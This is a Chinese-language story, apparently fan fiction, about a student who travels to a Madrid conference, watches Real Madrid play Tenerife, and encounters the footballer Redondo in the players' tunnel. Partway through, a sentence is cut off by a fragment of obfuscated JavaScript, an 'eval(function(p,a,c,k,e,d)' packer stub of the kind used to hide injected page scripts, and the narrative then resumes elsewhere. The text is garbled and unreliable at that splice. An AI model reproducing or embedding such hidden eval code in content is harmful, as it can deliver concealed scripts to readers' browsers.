我认识的乐佩,是一个拥有智慧、强大坚定、而且热爱生活的人,我不相信你无法决定自己的未来,你在20岁的时候已经取得了令人赞叹的成就,接下来你还会一直成功下去。 莴苣姑娘(Rapunzel)逃离了囚禁她的高塔,朱丽叶摆脱了凯普莱特家族给她安排的既定命运,你只会做的比她们更好。 我该感谢我在胡安之家不小心撞到你的那个下午,让我有幸认识你,见证你丰富多彩的生活。而就算没有遇见我,你的人生也不会因此逊色半分。 无论发生了什么,你是乐佩,没有人能够困住你,你永远都是自由的。 —————————— 大学第四年,乐佩接触到了互联网。这时全世界已经有了50多个网站,基本上全是英文的,她找到网络目录,所有这些网站都是科研院所的尝试,内容很简陋。他们也是科研院所,但学校没有属于自己的网站。 那时的乐佩还不知道互联网以后会发展成什么样子,但她心中有确切的预感,这会是一个全新的世界。 第一次上网的时候,乐佩在完成了课业任务之后,突发奇想在目录中输入了‘足球’‘西甲联赛’这样的词条,果然什么都没有搜到。下课后和其他同学聊天,她知道大家都在这么干。 “那我们为什么不自己做几个网页玩玩呢?” 做一个网页的基本逻辑对学生们来说不难掌握,只是很难接入全球的网络,变成一个可以运行维护的网站。于是大家各自动手,网页变成了随心所欲创办的黑板报,乐佩和几个同学合作,他们的第一个‘黑板报’就是足球相关。 和这些闹着玩的小把戏相比,课题组的项目成果要实用强悍的多,中国两年前刚在在互联网上注册了顶级域名,大家都在努力,希望国内尽快拥有全功能的互联网。 乐佩只是本科生,最多参与一点细碎的工作,给同门师兄帮忙,师兄认可她的能力,所以在大导师张教授要去参加国际会议的时候,师兄推荐了她的名字。 这样的国际会议是全球顶尖学者一次交流的好机会,跟着导师一起出去的学生也能认识同领域优秀的伙伴,最重要的是,这是一次免费的出国游。 会议通常持续好多天,师兄要去作报告,导师听报告,乐佩没有成型的成果,按道理没有参加的资格,所以这是导师给她的奖励,也是鼓励她多出去看看。再加上乐佩的西班牙语学了两年多,这次会议的举办地点在马德里,大家一起去乐佩还能当翻译。 乐佩当然要抓住这个意外之喜,虽然她的西班牙语最多能在日常交流中派上用场,师兄说这就够用了,会议上大家都说英语,她只要能听懂那些专业词汇就行。 因为本来就有护照,只要在出发前提早办好签证就行,顾晓薇看她收拾行李羡慕得不行,都怪自己的导师不够努力不能去开会,她应该多多向上管理。乐佩出发之前收拾行李的时候,她恨不得做进箱子里一起去。 “你们只有三个人吗?你一个人住一间房子的话一定要注意安全。”她唠叨个不停,乐佩好脾气地跟着点头。 顾晓薇又畅想着自己也能跟着一起去就好了,虽然她不知道马德里都有什么好玩的地方,乐佩数了几个,这都是学长提前看好的,顾晓薇又悄悄打听,“你们两个出去玩,文彦恺什么反应?” 文彦恺确实不太高兴,但乐佩不管他,“旅行搭子而已,重要的是会议。他难道还能不让我去吗?” “说起来,你喜欢的那个球星,不是也在西班牙吗?说不定能有机会见到!” “他是在西班牙,但是又不在马德里,”乐佩觉得她在瞎想,“特内里费其实在非洲,而且我们是去开会,不是去看比赛。” 马德里市区并不大,会议举办地在理工大学校区,参会的要求并不严格,只有需要作报告的人必须到场,其他时候都可以自由活动。 当然,对他们来说最有意义的自由活动还是听报告,这确实是一个学习新知识的绝佳机会,乐佩他们就住在大学城附近,白天报告结束后,晚上教授会和他们讨论当天的收获,乐佩在一次次讨论中慢慢摸索出了她毕业设计想做的方向。 他们也逃了很水的报告,去逛市区里的景点,圣诞节已经过去,街头巷尾还有没收回去的装饰品,师兄喜欢这里的气氛,连连哀叹要是早点过来就好了。 “但是圣诞节大家都放假了,没人来开会吧。” 师兄只好遗憾住脑,他还知道乐佩喜欢看足球比赛,了解到马德里就有一只很出名的球队,听说他们的主场还可以参观,不过他们最终没有去,因为乐佩不是那么喜欢足球,至少不是皇家马德里,而伯纳乌的门票比马德里王宫还要贵,大家都心疼钱。 但他们很快等来了进入伯纳乌的机会。张教授和马德里理工大学的一个教授是曾经在美国的同门,那位教授的学生马里奥负责接待他们,大家研究方向相近,经过这次会议成了朋友。 在会议结束的前一天,听报告的时候马里奥突然问他们,“明天晚上有皇马的比赛,你们想去看吗?” 他说自家教授是皇马的狂热球迷,每当有朋友来马德里都会请他们去看比赛,只是以前的国际会议从来都在外地,教授还没有当东道主的机会。 说到这些的时候马里奥脸上的表情很古怪,像是受不了教授这么疯狂。师兄问他去不去,他摇了摇头,表示自己其实是马德里竞技的球迷,能在教授眼皮底下隐藏住身份已经尽力了,没有去看死敌比赛的义务! 师兄不知道这些弯弯绕绕,还是乐佩和他悄悄科普了,不过想到乐佩也不是皇家马德里的球迷,他刚要婉拒这个邀请,就听见乐佩问比赛的对手是谁。 “特内里费,其实是只小球队,不过上赛季他们刚刚在最后一轮干掉了皇马,让他们拿不了联赛冠军,所以我还挺喜欢他们的,希望他们这次比赛也能加油。” 乐佩在背后戳了戳师兄的肩膀,师兄心领神会,答应下了这个邀请。马里奥长舒一口气,如果他们两个不去,那就得是他跟着一起了! 最后一天师兄的报告做得很成功,只有导师不太满意,师兄被打击了自信,乐佩也跟着惭愧,等到晚上看比赛的时候两人还蔫蔫的,尤其那位教授和他们的导师也去了,现在就坐在他们旁边。 来到现场看球和在电视上看是完全不同的体验,球场里坐着几万人,人声鼎沸,在现场dj的带领下又唱又叫,就连从来没有接触过比赛的人也很容易情绪上头。 四个人中唯一没有接触过足球的居然只有师兄,乐佩偷偷听到两个教授用英语聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师兄又出声了,“所以是客场球队有你喜欢的球员?” 场上的局势很焦灼,主队显然想从特内里费身上拿分一雪前耻,但特内里费这两个赛季在新教练巴尔达诺的带领下已经蜕变成一支劲旅,他们在中场指挥官雷东多的带领下,对抗皇马完全不落下风。 “那个特内里费的6号,让整个球队都发生了变化,他是最难突破的点,我相信他不会在特内里费待太长时间了,希望他有一天到马德里来。”西班牙教授像个普通的红脸球迷那样,激动地点评着场上的局势。 乐佩忍不住勾起嘴角,继续和师兄说悄悄话,“我比较喜欢......那个特内里费的6号。” 她想到了自己背包里的那封信,两个月前送到她手上,从此她一直将这封信带在身边,哪怕来马德里出差也不例外。她记得上面的每一句话,仿佛雷东多就站在她面前,告诉她,“乐佩,你永远都是自由的。” 从看到球员入场开始就砰砰直跳的心没有平静下来的迹象,其实从昨天她得知能够现场看到雷东多比赛之后她一直激动到了现在,只是没有表现出来罢了。 最终特内里费没能赢下比赛,这不影响乐佩兴奋的心情,大冬天她的脸红彤彤地发热,准备离场的时候,西班牙教授拦住了他们。 乐佩这才知道他们坐的居然是商务包厢区,教授作为资深球迷和社会名流,弄到这里的票并不难,他还和皇马俱乐部有个工作人员是熟人,完全可以去球员通道和他打个招呼,顺便认识几个球星,只是他很少这么干。 今天他打破了惯例,既然和朋友一起来,一定要有完整的观赛体验。张教授乐呵呵地同意了,乐佩和师兄懵懵地跟在他们身后,现在才明白自己今天蹭到了个大的。 球员通道没有想象中神秘,里面干什么的人都有,他们这样的闲杂人等一点都不突兀,记者和工作人员跑来跑去,默契地靠墙走,将中间宽敞的通道留给随时可能出现的球员。 乐佩对皇马的球员不感兴趣,球员通道里空气不流通,热腾腾的,各种味道混杂在一起,熏得人头疼。西班牙教授等到了那个球员,他今天没有上场,现在几个人正相谈甚欢。乐佩默默靠在墙边,心里祈祷他们能快点离开。 雷东多对今天的比赛并不满意,在混合采访区又被问了一肚子火,和队内好友皮埃尔回更衣室的时候,脸上的表情冷得都能滴出水来。 皮埃尔劝他别这么生气,他哼了两声答应了,仍然没有说话的劲头。皇马不愧是大俱乐部,球员通道里能有这么多人,吵闹地让人厌烦。 他不自觉加快了脚步,在拐过最后一个弯的时候,余光瞥见了走廊另一头靠墙站着的姑娘,他猛地停下,抬头看过去。 那个姑娘的长相和他记忆中不太一样,雷东多也想不到她出现在这的原因,但他确信自己没有认错人,也不是出现了幻觉,他脚尖转向,大步朝她走过去。